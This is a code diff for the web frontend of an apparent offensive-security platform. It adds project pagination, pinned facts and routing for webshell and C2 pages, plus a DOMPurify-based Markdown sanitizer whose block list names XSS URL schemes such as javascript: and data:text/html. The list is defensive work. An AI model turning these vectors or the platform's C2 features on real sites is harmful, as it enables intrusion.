+        // 置顶列始终占位，避免有/无图钉时后续列错位
+        var pinMark = '<span class="dashboard-recent-fact-pin' + (f.pinned ? ' is-pinned' : '') + '"' +
+            (f.pinned ? (' title="' + esc(dt('projects.pinned', null, '置顶')) + '"') : '') +
+            ' aria-hidden="true">' + (f.pinned ? '📌' : '') + '</span>';
+        var projectLabel = (f.project_name || '').trim() || dt('projects.defaultProjectName', null, '项目');
+        var factKeyLabel = (f.fact_key || '').trim() || '—';
+        var projectTone = projectFactProjectTone(pid, projectLabel);
+        var projectCol = '<span class="dashboard-recent-fact-project proj-tone-' + projectTone + '" title="' + esc(projectLabel) + '">' + esc(projectLabel) + '</span>';
+        var categoryBadge = '<span class="dashboard-recent-fact-cat cat-' + esc(category.toLowerCase().replace(/[^a-z0-9_-]/g, '')) + '">' + esc(category) + '</span>';
+        var confBadge = '<span class="dashboard-recent-fact-conf conf-' + esc(confidence) + '">' + esc(factConfidenceShortLabel(confidence)) + '</span>';
+        var summary = '<span class="dashboard-recent-fact-summary" title="' + esc(f.summary || '') + '">' + esc(f.summary || dt('common.untitled', null, '无标题')) + '</span>';
+        var factKeyCol = '<span class="dashboard-recent-fact-key" title="' + esc(factKeyLabel) + '">' + esc(factKeyLabel) + '</span>';
+        var time = '<span class="dashboard-recent-fact-time">' + esc(timeAgoStr(f.updated_at)) + '</span>';
+
+        item.innerHTML = pinMark + categoryBadge + confBadge + summary + factKeyCol + projectCol + time;
+        wrap.appendChild(item);
+    });
+}
+
 // 漏洞状态映射：把 status 字符串规整到 4 类（避免脏数据）
 function statusKey(s) {
     s = String(s || '').toLowerCase();
@@ -1224,7 +1547,7 @@ function renderVulnStatusPanel(byStatus, total) {
 //
 // bySeverityOpen: { critical, high, medium, low }（只统计 status=open 的漏洞；info 不计入）
 // totalOpen:      待处理漏洞总数（= critical + high + medium + low），仅用于"全无待处理 → safe"判断
-// recentVulnsRes: /api/vulnerabilities?limit=5 响应（用于"最近发现"时间，口径是全量，与处置状态无关）
+// recentVulnsRes: /api/vulnerabilities?limit=10 响应（用于"最近发现"时间，口径是全量，与处置状态无关）
 function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
     var riskBox = document.querySelector('.dashboard-severity-insight-risk');
     var levelEl = document.getElementById('dashboard-severity-risk-level');

web/static/js/knowledge.js

@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
             position: fixed;
             top: 20px;
             right: 20px;
-            z-index: 10000;
+            z-index: 10100;
             display: flex;
             flex-direction: column;
             gap: 12px;

web/static/js/projects.js

@@ -3,6 +3,7 @@
  */
 let projectsCache = [];
 let projectsCacheAll = [];
+const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
 let currentProjectId = null;
 let currentProjectTab = 'facts';
 const projectNameById = {};
@@ -167,23 +168,128 @@ function rebuildProjectNameMap(list) {
     });
 }
 
-async function fetchProjectsList(includeArchived) {
+function getProjectsListPageSize() {
+    try {
+        const saved = parseInt(localStorage.getItem(PROJECTS_LIST_PAGE_SIZE_KEY), 10);
+        if ([20, 50, 100].includes(saved)) return saved;
+    } catch (e) { /* ignore */ }
+    return 50;
+}
+
+let projectsListPagination = { page: 1, pageSize: getProjectsListPageSize(), total: 0 };
+let projectsListSearch = '';
+let _projectsListSearchDebounce = null;
+
+function parseListTotalValue(raw, itemsLength) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return itemsLength;
+}
+
+function parseListOffsetValue(raw) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return 0;
+}
+
+function parseProjectsListResponse(data) {
+    if (Array.isArray(data)) {
+        return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
+    }
+    const items = data.projects || data.items || [];
+    const arr = Array.isArray(items) ? items : [];
+    return {
+        items: arr,
+        total: parseListTotalValue(data.total, arr.length),
+        limit: parseListTotalValue(data.limit, arr.length) || arr.length,
+        offset: parseListOffsetValue(data.offset),
+        isLegacyArray: false,
+    };
+}
+
+async function resolveProjectsListTotal(params, parsed, pageSize, offset) {
+    const serverTotal = parsed.total;
+    // 服务端 total 明确大于当前页末尾 → 直接信任
+    if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
+        return serverTotal;
+    }
+    // 不足一页 → 已是最后一页
+    if (parsed.items.length < pageSize) {
+        return Math.max(serverTotal, offset + parsed.items.length);
+    }
+    // 满页但 total 可能被误算为 items.length → 探测下一页
+    const probe = new URLSearchParams(params);
+    probe.set('offset', String(offset + pageSize));
+    probe.set('limit', '1');
+    try {
+        const res = await apiFetch(`/api/projects?${probe}`);
+        if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
+        const probeParsed = parseProjectsListResponse(await res.json());
+        if (probeParsed.total > serverTotal) return probeParsed.total;
+        if (probeParsed.items.length > 0) {
+            return Math.max(serverTotal, offset + pageSize + 1);
+        }
+    } catch (e) { /* ignore */ }
+    return Math.max(serverTotal, offset + parsed.items.length);
+}
+
+async function fetchAllProjects(includeArchived) {
     const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
-    const url = showArchived ? '/api/projects?limit=200' : '/api/projects?status=active&limit=200';
-    const res = await apiFetch(url);
+    let all = [];
+    const pageSize = 200;
+    let offset = 0;
+    let total = Infinity;
+    while (all.length < total) {
+        const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+        if (!showArchived) params.set('status', 'active');
+        const res = await apiFetch(`/api/projects?${params}`);
+        if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
+        const parsed = parseProjectsListResponse(await res.json());
+        all = all.concat(parsed.items);
+        total = parsed.total;
+        if (!parsed.items.length) break;
+        offset += parsed.items.length;
+    }
+    return all;
+}
+
+async function fetchProjectsList(includeArchived, opts = {}) {
+    const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
+    const page = opts.page ?? projectsListPagination.page;
+    const pageSize = opts.pageSize ?? getProjectsListPageSize();
+    const search = opts.search !== undefined ? opts.search : projectsListSearch;
+    projectsListSearch = search;
+    const offset = (page - 1) * pageSize;
+    const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+    if (search) params.set('search', search);
+    if (!showArchived) params.set('status', 'active');
+    const res = await apiFetch(`/api/projects?${params}`);
     if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
-    const data = await res.json();
-    projectsCache = Array.isArray(data) ? data : [];
-    rebuildProjectNameMap(projectsCache);
-    _projectsListReady = true;
+    const parsed = parseProjectsListResponse(await res.json());
+    const total = await resolveProjectsListTotal(params, parsed, pageSize, offset);
+    projectsCache = parsed.items;
+    projectsListPagination = { page, pageSize: pageSize, total };
+    rebuildProjectNameMap(projectsCacheAll.length ? projectsCacheAll : projectsCache);
     return projectsCache;
 }
 
-/** 对话页等项目选择器：确保列表已拉取（去重并发请求） */
+/** 对话页等项目选择器：确保全量列表已拉取（去重并发请求） */
 async function ensureProjectsLoaded(force) {
-    if (!force && _projectsListReady) return projectsCache;
+    if (!force && _projectsListReady) return projectsCacheAll;
     if (!force && _projectsFetchPromise) return _projectsFetchPromise;
-    _projectsFetchPromise = fetchProjectsList(false)
+    _projectsFetchPromise = fetchAllProjects(false)
+        .then((list) => {
+            projectsCacheAll = list;
+            rebuildProjectNameMap(projectsCacheAll);
+            _projectsListReady = true;
+            return projectsCacheAll;
+        })
         .catch((e) => {
             _projectsListReady = false;
             throw e;
@@ -204,9 +310,10 @@ async function ensureDefaultActiveProjectForNewChat() {
         await ensureProjectsLoaded();
         const cur = getActiveProjectId();
         if (cur && isActiveChatProjectId(cur)) return cur;
+        const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
         const first =
-            projectsCache.find((p) => p.pinned && p.status !== 'archived') ||
-            projectsCache.find((p) => p.status !== 'archived');
+            source.find((p) => p.pinned && p.status !== 'archived') ||
+            source.find((p) => p.status !== 'archived');
         if (first) {
             setActiveProjectId(first.id);
             return first.id;
@@ -238,6 +345,8 @@ async function initProjectsPage() {
     initProjectsModalEscape();
     syncProjectsModalBodyLock();
     updateProjectsDetailVisibility();
+    projectsListPagination.pageSize = getProjectsListPageSize();
+    renderProjectsPagination();
     await loadProjectsList();
     if (!currentProjectId && projectsCache.length) {
         const fromHash = new URLSearchParams(window.location.hash.split('?')[1] || '').get('id');
@@ -250,8 +359,19 @@ async function initProjectsPage() {
 }
 
 async function loadProjectsList() {
+    _projectsListReady = false;
+    projectsCacheAll = [];
+    projectsListPagination.pageSize = getProjectsListPageSize();
     await fetchProjectsList();
     renderProjectsSidebar();
+    renderProjectsPagination();
+    try {
+        projectsCacheAll = await fetchAllProjects();
+        rebuildProjectNameMap(projectsCacheAll);
+        _projectsListReady = true;
+    } catch (e) {
+        console.warn(e);
+    }
     if (typeof refreshChatProjectSelector === 'function') {
         refreshChatProjectSelector();
     }
@@ -277,7 +397,7 @@ function updateProjectsDetailVisibility() {
 
 function updateProjectsListCount() {
     const el = document.getElementById('projects-list-count');
-    if (el) el.textContent = String(projectsCache.length);
+    if (el) el.textContent = String(projectsListPagination.total || projectsCache.length);
 }
 
 /** 事实分类 → 徽章样式（与 fact_template.go 常量对齐） */
@@ -385,26 +505,97 @@ function getProjectsListFilter() {
 }
 
 function filterProjectsList() {
-    renderProjectsSidebar();
+    if (_projectsListSearchDebounce) clearTimeout(_projectsListSearchDebounce);
+    _projectsListSearchDebounce = setTimeout(() => {
+        _projectsListSearchDebounce = null;
+        const q = getProjectsListFilter();
+        projectsListPagination.page = 1;
+        fetchProjectsList(undefined, { page: 1, search: q })
+            .then(() => {
+                renderProjectsSidebar();
+                renderProjectsPagination();
+            })
+            .catch((e) => console.warn(e));
+    }, 280);
+}
+
+function goProjectsPage(page) {
+    const totalPages = Math.max(1, Math.ceil((projectsListPagination.total || 0) / projectsListPagination.pageSize) || 1);
+    const next = Math.min(Math.max(1, page), totalPages);
+    if (next === projectsListPagination.page) return;
+    fetchProjectsList(undefined, { page: next })
+        .then(() => {
+            renderProjectsSidebar();
+            renderProjectsPagination();
+            const listEl = document.getElementById('projects-list');
+            if (listEl) listEl.scrollTop = 0;
+        })
+        .catch((e) => console.warn(e));
+}
+
+function changeProjectsPageSize() {
+    const sel = document.getElementById('projects-page-size-pagination');
+    const newSize = sel ? parseInt(sel.value, 10) : 50;
+    if (![20, 50, 100].includes(newSize)) return;
+    try {
+        localStorage.setItem(PROJECTS_LIST_PAGE_SIZE_KEY, String(newSize));
+    } catch (e) { /* ignore */ }
+    projectsListPagination.pageSize = newSize;
+    projectsListPagination.page = 1;
+    fetchProjectsList(undefined, { page: 1, pageSize: newSize })
+        .then(() => {
+            renderProjectsSidebar();
+            renderProjectsPagination();
+        })
+        .catch((e) => console.warn(e));
+}
+
+function renderProjectsPagination() {
+    const el = document.getElementById('projects-pagination');
+    if (!el) return;
+    const { page, pageSize, total } = projectsListPagination;
+    const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
+    const navDisabled = total === 0 || totalPages <= 1;
+    el.hidden = false;
+    const start = total === 0 ? 0 : (page - 1) * pageSize + 1;
+    const end = total === 0 ? 0 : Math.min(page * pageSize, total);
+    const infoText = tpFmt('projects.paginationRange', `${start}-${end}/${total}`, { start, end, total });
+    const pageText = tpFmt('projects.paginationPage', `${page}/${totalPages}`, { page, total: totalPages });
+    el.innerHTML = `
+        <div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
+            <span class="pagination-info">${escapeHtml(infoText)}</span>
+            <div class="pagination-controls">
+                <button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationPrev'))}" aria-label="${escapeHtml(tp('projects.paginationPrev'))}">‹</button>
+                <span class="pagination-page">${escapeHtml(pageText)}</span>
+                <button type="button" class="btn-icon-pagination" onclick="goProjectsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(tp('projects.paginationNext'))}" aria-label="${escapeHtml(tp('projects.paginationNext'))}">›</button>
+            </div>
+            <label class="pagination-page-size">
+                ${escapeHtml(tp('projects.paginationPerPage'))}
+                <select id="projects-page-size-pagination" onchange="changeProjectsPageSize()">
+                    <option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
+                    <option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
+                    <option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
+                </select>
+            </label>
+        </div>`;
 }
 
 function renderProjectsSidebar() {
     const el = document.getElementById('projects-list');
     if (!el) return;
     updateProjectsListCount();
-    const q = getProjectsListFilter();
-    const list = q
-        ? projectsCache.filter((p) => (p.name || '').toLowerCase().includes(q) || (p.description || '').toLowerCase().includes(q))
-        : projectsCache;
+    const list = projectsCache;
     if (!projectsCache.length) {
         el.innerHTML =
             `<div class="projects-empty">${escapeHtml(tp('projects.noProjects'))}<br><button type="button" class="btn-primary btn-small projects-empty-btn" onclick="showNewProjectModal()">${escapeHtml(tp('projects.newProject'))}</button></div>`;
         updateProjectsDetailVisibility();
+        renderProjectsPagination();
         return;
     }
     if (!list.length) {
         el.innerHTML = `<div class="projects-empty">${escapeHtml(tp('projects.noMatchingProjects'))}</div>`;
         updateProjectsDetailVisibility();
+        renderProjectsPagination();
         return;
     }
     el.innerHTML = list.map((p) => {
@@ -574,9 +765,12 @@ async function loadProjectFacts() {
         const vulnLink = f.related_vulnerability_id
             ? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
             : '';
+        const pinBadge = f.pinned
+            ? `<span class="projects-list-item-badge" title="${escapeHtml(tp('projects.pinned'))}">${escapeHtml(tp('projects.pinned'))}</span>`
+            : '';
         return `<tr>
-            <td><code>${keyEsc}</code>${vulnLink}</td>
-            <td>${formatCategoryBadge(f.category)}</td>
+            <td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${pinBadge}${vulnLink}</td>
+            <td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
             <td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
             <td>${formatFactBodyBadge(f)}</td>
             <td>${formatConfidenceBadge(f.confidence)}</td>
@@ -678,7 +872,6 @@ async function viewProjectFactBody(factKey) {
     ];
     if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
     if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
-    if (f.supersedes_fact_id) metaParts.push(tp('projects.factMetaHasPrevious'));
     document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
     document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
     const warnEl = document.getElementById('fact-detail-sparse-warn');
@@ -691,33 +884,6 @@ async function viewProjectFactBody(factKey) {
             warnEl.textContent = '';
         }
     }
-    const prevWrap = document.getElementById('fact-detail-prev-wrap');
-    if (prevWrap) {
-        prevWrap.hidden = true;
-        if (f.id && f.supersedes_fact_id) {
-            try {
-                const prevRes = await apiFetch(
-                    `/api/projects/${currentProjectId}/facts/${encodeURIComponent(f.id)}/previous-version`,
-                );
-                if (prevRes.ok) {
-                    const prev = await prevRes.json();
-                    prevWrap.hidden = false;
-                    document.getElementById('fact-detail-prev-meta').textContent = tpFmt(
-                        'projects.factPreviousMeta',
-                        `Archived at ${formatProjectTime(prev.archived_at)} · Summary: ${prev.summary || '—'} · Confidence: ${prev.confidence || '—'}`,
-                        {
-                            time: formatProjectTime(prev.archived_at),
-                            summary: prev.summary || '—',
-                            confidence: prev.confidence || '—',
-                        },
-                    );
-                    document.getElementById('fact-detail-prev-body').textContent = prev.body || tp('projects.emptyBody');
-                }
-            } catch (e) {
-                console.warn(e);
-            }
-        }
-    }
     const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
     const createBtn = document.getElementById('fact-detail-create-vuln-btn');
     if (linkBtn) linkBtn.hidden = false;
@@ -1165,6 +1331,8 @@ function resetFactModalForm() {
     document.getElementById('fact-modal-summary').value = '';
     document.getElementById('fact-modal-body').value = '';
     document.getElementById('fact-modal-confidence').value = 'tentative';
+    const pinEl = document.getElementById('fact-modal-pinned');
+    if (pinEl) pinEl.checked = false;
     const rel = document.getElementById('fact-modal-related-vuln');
     if (rel) rel.value = '';
     updateFactFormHints();
@@ -1198,6 +1366,8 @@ function fillFactModalForm(f) {
     }
     const rel = document.getElementById('fact-modal-related-vuln');
     if (rel) rel.value = f.related_vulnerability_id || '';
+    const pinEl = document.getElementById('fact-modal-pinned');
+    if (pinEl) pinEl.checked = !!f.pinned;
     updateFactFormHints();
 }
 
@@ -1242,6 +1412,7 @@ async function saveFactModal() {
         summary,
         body,
         confidence: document.getElementById('fact-modal-confidence').value,
+        pinned: !!document.getElementById('fact-modal-pinned')?.checked,
         related_vulnerability_id: document.getElementById('fact-modal-related-vuln')?.value?.trim() || '',
     };
     const editId = window._factModalEditId;
@@ -1337,7 +1508,8 @@ function getChatProjectSelection() {
 
 function isActiveChatProjectId(id) {
     if (!id) return false;
-    return projectsCache.some((p) => p.id === id && p.status !== 'archived');
+    const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
+    return source.some((p) => p.id === id && p.status !== 'archived');
 }
 
 /** 用于 UI：无效/已删除/无可用项目时视为未绑定 */
@@ -1392,7 +1564,8 @@ function renderChatProjectPanelList() {
     const list = document.getElementById('chat-project-list');
     if (!list) return;
     const selected = resolveChatProjectSelection();
-    const activeProjects = projectsCache.filter((p) => p.status !== 'archived');
+    const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
+    const activeProjects = source.filter((p) => p.status !== 'archived');
     const items = [{ id: '', name: tp('projects.noProject'), description: tp('projects.noProjectDescription') }, ...activeProjects];
     if (!items.length) {
         list.innerHTML = `<div class="chat-project-panel-empty">${escapeHtml(tp('projects.noProjectsClickCreate'))}</div>`;
@@ -1535,6 +1708,7 @@ function initChatProjectSelector() {
         window._projectsLanguageListenerBound = true;
         document.addEventListener('languagechange', () => {
             renderProjectsSidebar();
+            renderProjectsPagination();
             updateChatProjectButtonLabel();
             const panel = document.getElementById('chat-project-panel');
             if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
@@ -1594,6 +1768,10 @@ window.restoreProjectFactByKey = restoreProjectFactByKey;
 window.openVulnerabilitiesForProject = openVulnerabilitiesForProject;
 window.openVulnerabilityDetail = openVulnerabilityDetail;
 window.filterProjectsList = filterProjectsList;
+window.goProjectsPage = goProjectsPage;
+window.changeProjectsPageSize = changeProjectsPageSize;
+window.parseProjectsListResponse = parseProjectsListResponse;
+window.fetchAllProjects = fetchAllProjects;
 window.debouncedLoadProjectFacts = debouncedLoadProjectFacts;
 window.debouncedLoadProjectVulnerabilities = debouncedLoadProjectVulnerabilities;
 window.loadProjectVulnerabilities = loadProjectVulnerabilities;

web/static/js/router.js

@@ -56,8 +56,9 @@ function initRouter() {
     const hash = window.location.hash.slice(1);
     if (hash) {
         const hashParts = hash.split('?');
-        const pageId = hashParts[0];
-        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
+        let pageId = hashParts[0];
+        if (pageId === 'c2') pageId = 'c2-listeners';
+        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'projects', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
             switchPage(pageId);
             if (pageId === 'chat') {
                 scheduleChatConversationFromHash(500);
@@ -105,6 +106,7 @@ function updateNavState(pageId) {
     // 移除所有活动状态
     document.querySelectorAll('.nav-item').forEach(item => {
         item.classList.remove('active');
+        item.classList.remove('expanded');
     });
     
     document.querySelectorAll('.nav-submenu-item').forEach(item => {
@@ -202,16 +204,6 @@ function getNavSubmenuItems(navItem) {
     return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
 }
 
-/** 仅一个子页时直接进入，避免展开后菜单在侧栏底部不可见 */
-function navigateSingleSubmenuPage(navItem) {
-    const items = getNavSubmenuItems(navItem);
-    if (items.length !== 1) return false;
-    const pageId = items[0].getAttribute('data-page');
-    if (!pageId) return false;
-    switchPage(pageId);
-    return true;
-}
-
 // 切换子菜单
 function toggleSubmenu(menuId) {
     const sidebar = document.getElementById('main-sidebar');
@@ -228,11 +220,6 @@ function toggleSubmenu(menuId) {
         return;
     }
 
-    // 展开侧栏且仅一个子项（角色、Agents 等）：单击直接进入，无需再点二级菜单
-    if (navigateSingleSubmenuPage(navItem)) {
-        return;
-    }
-
     // 展开状态下切换子菜单，并滚入视口以便看到子项
     const willExpand = !navItem.classList.contains('expanded');
     navItem.classList.toggle('expanded');
@@ -261,10 +248,6 @@ function showSubmenuPopup(navItem, menuId) {
         }
     }
 
-    if (navigateSingleSubmenuPage(navItem)) {
-        return;
-    }
-    
     const navItemContent = navItem.querySelector('.nav-item-content');
     const submenu = navItem.querySelector('.nav-submenu');
     
@@ -482,7 +465,6 @@ async function initPage(pageId) {
                 loadMarkdownAgents();
             }
             break;
-        case 'c2':
         case 'c2-listeners':
         case 'c2-sessions':
         case 'c2-tasks':
@@ -512,9 +494,10 @@ document.addEventListener('DOMContentLoaded', function() {
         const hash = window.location.hash.slice(1);
         // 处理带参数的hash（如 chat?conversation=xxx）
         const hashParts = hash.split('?');
-        const pageId = hashParts[0];
+        let pageId = hashParts[0];
         
-        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
+        if (pageId === 'c2') pageId = 'c2-listeners';
+        if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'tasks', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
             switchPage(pageId);
             if (pageId === 'chat') {
                 scheduleChatConversationFromHash(200);

web/static/js/sanitize-markdown.js

@@ -0,0 +1,208 @@
+/**
+ * 统一的 Markdown → 安全 HTML 渲染（DOMPurify + marked）。
+ * 时间线/过程详情使用 stricter profile，整页 HTML 回退为转义 <pre>。
+ */
+(function (global) {
+    'use strict';
+
+    const CHAT_SANITIZE_CONFIG = {
+        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
+            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img',
+            'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
+        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
+        ALLOW_DATA_ATTR: false,
+    };
+
+    /** 过程详情时间线：禁止 img，减少外连与恶意资源 */
+    const TIMELINE_SANITIZE_CONFIG = {
+        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote',
+            'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a',
+            'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
+        ALLOWED_ATTR: ['href', 'title', 'alt', 'class'],
+        ALLOW_DATA_ATTR: false,
+    };
+
+    const DANGEROUS_URL_PREFIXES = [
+        'javascript:',
+        'vbscript:',
+        'data:text/html',
+        'data:text/javascript',
+        'data:application/javascript',
+    ];
+
+    let domPurifyHooksInstalled = false;
+
+    function escapeHtmlLocal(text) {
+        if (text == null || text === '') return '';
+        const div = document.createElement('div');
+        div.textContent = String(text);
+        return div.innerHTML;
+    }
+
+    function installDomPurifyHooks() {
+        if (domPurifyHooksInstalled || typeof DOMPurify === 'undefined' || !DOMPurify.addHook) {
+            return;
+        }
+        DOMPurify.addHook('uponSanitizeAttribute', function (node, data) {
+            const attrName = (data.attrName || '').toLowerCase();
+            if ((attrName !== 'src' && attrName !== 'href') || !data.attrValue) {
+                return;
+            }
+            const value = String(data.attrValue).trim().toLowerCase();
+            for (let i = 0; i < DANGEROUS_URL_PREFIXES.length; i++) {
+                if (value.indexOf(DANGEROUS_URL_PREFIXES[i]) === 0) {
+                    data.keepAttr = false;
+                    return;
+                }
+            }
+            if (value.indexOf('blob:') === 0) {
+                data.keepAttr = false;
+                return;
+            }
+            if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
+                if (value.length <= 2 || /^[a-z]$/i.test(value)) {
+                    data.keepAttr = false;
+                }
+            }
+        });
+        domPurifyHooksInstalled = true;
+    }
+
+    /** 明显 Markdown 结构时，不应因零散 HTML 标签误判为整页 HTML */
+    function looksLikeMarkdown(src) {
+        const s = String(src);
+        return /^#{1,6}\s/m.test(s)
+            || /^\s*[-*+]\s/m.test(s)
+            || /^\s*\d+\.\s/m.test(s)
+            || /\*\*[^*\n]+\*\*/.test(s)
+            || /`[^`\n]+`/.test(s)
+            || /^```/m.test(s)
+            || /^\|.+\|/m.test(s)
+            || /^\s*>\s/m.test(s);
+    }
+
+    /** 探测工具返回的整页 HTML，不宜当作富文本渲染 */
+    function isHeavyRawHtml(src) {
+        const s = String(src);
+        if (looksLikeMarkdown(s)) {
+            return false;
+        }
+        if (/<!DOCTYPE\s+html/i.test(s) || /<\s*html\b/i.test(s)) {
+            return true;
+        }
+        if (/<\s*(head|body|iframe|object|embed|form|script|style|meta|link|base)\b/i.test(s)) {
+            return true;
+        }
+        const tags = s.match(/<[a-z][^>]*>/gi);
+        return tags != null && tags.length >= 8;
+    }
+
+    function escapePlainTextAsHtml(text) {
+        return escapeHtmlLocal(text).replace(/\n/g, '<br>');
+    }
+
+    function formatHtmlAsEscapedPre(text) {
+        return '<pre class="tool-result sanitized-raw-html-fallback">' + escapeHtmlLocal(text) + '</pre>';
+    }
+
+    function normalizeSource(text) {
+        const raw = text == null ? '' : String(text);
+        if (typeof global.normalizeAssistantMarkdownSource === 'function') {
+            return global.normalizeAssistantMarkdownSource(raw);
+        }
+        return raw;
+    }
+
+    function parseMarkdownSrc(src) {
+        if (typeof marked === 'undefined') {
+            return null;
+        }
+        try {
+            marked.setOptions({ breaks: true, gfm: true });
+            return marked.parse(src, { async: false });
+        } catch (e) {
+            console.error('Markdown 解析失败:', e);
+            return null;
+        }
+    }
+
+    function sanitizeConfigForProfile(profile) {
+        return profile === 'timeline' ? TIMELINE_SANITIZE_CONFIG : CHAT_SANITIZE_CONFIG;
+    }
+
+    /**
+     * @param {string|null|undefined} text
+     * @param {{ profile?: 'chat'|'timeline' }} [options]
+     * @returns {string} 安全 HTML
+     */
+    function buildRichHtmlFromSource(src) {
+        const hasHtmlTags = /<[a-z][\s\S]*>/i.test(src);
+        const preferMarkdown = typeof marked !== 'undefined'
+            && (looksLikeMarkdown(src) || !hasHtmlTags);
+
+        if (preferMarkdown) {
+            const parsed = parseMarkdownSrc(src);
+            if (parsed != null) {
+                return parsed;
+            }
+        }
+        if (hasHtmlTags) {
+            return src;
+        }
+        return escapePlainTextAsHtml(src);
+    }
+
+    function formatMarkdownToHtml(text, options) {
+        const profile = (options && options.profile === 'timeline') ? 'timeline' : 'chat';
+        const src = normalizeSource(text);
+
+        if (isHeavyRawHtml(src)) {
+            return formatHtmlAsEscapedPre(src);
+        }
+
+        if (typeof DOMPurify === 'undefined') {
+            console.warn('DOMPurify 未加载，Markdown 已降级为纯文本渲染（已转义，防 XSS）');
+            return escapePlainTextAsHtml(src);
+        }
+
+        installDomPurifyHooks();
+        const config = sanitizeConfigForProfile(profile);
+        return DOMPurify.sanitize(buildRichHtmlFromSource(src), config);
+    }
+
+    function sanitizeRichHtml(html, profile) {
+        if (typeof DOMPurify === 'undefined') {
+            return null;
+        }
+        installDomPurifyHooks();
+        return DOMPurify.sanitize(html, sanitizeConfigForProfile(profile || 'chat'));
+    }
+
+    function stripSuspiciousImages(root) {
+        if (!root || !root.querySelectorAll) {
+            return;
+        }
+        root.querySelectorAll('img').forEach(function (img) {
+            const src = (img.getAttribute('src') || '').trim();
+            if (!src || src.length <= 2 || /^[a-z]$/i.test(src)) {
+                img.remove();
+            }
+        });
+    }
+
+    global.csMarkdownSanitize = {
+        CHAT_SANITIZE_CONFIG: CHAT_SANITIZE_CONFIG,
+        TIMELINE_SANITIZE_CONFIG: TIMELINE_SANITIZE_CONFIG,
+        installDomPurifyHooks: installDomPurifyHooks,
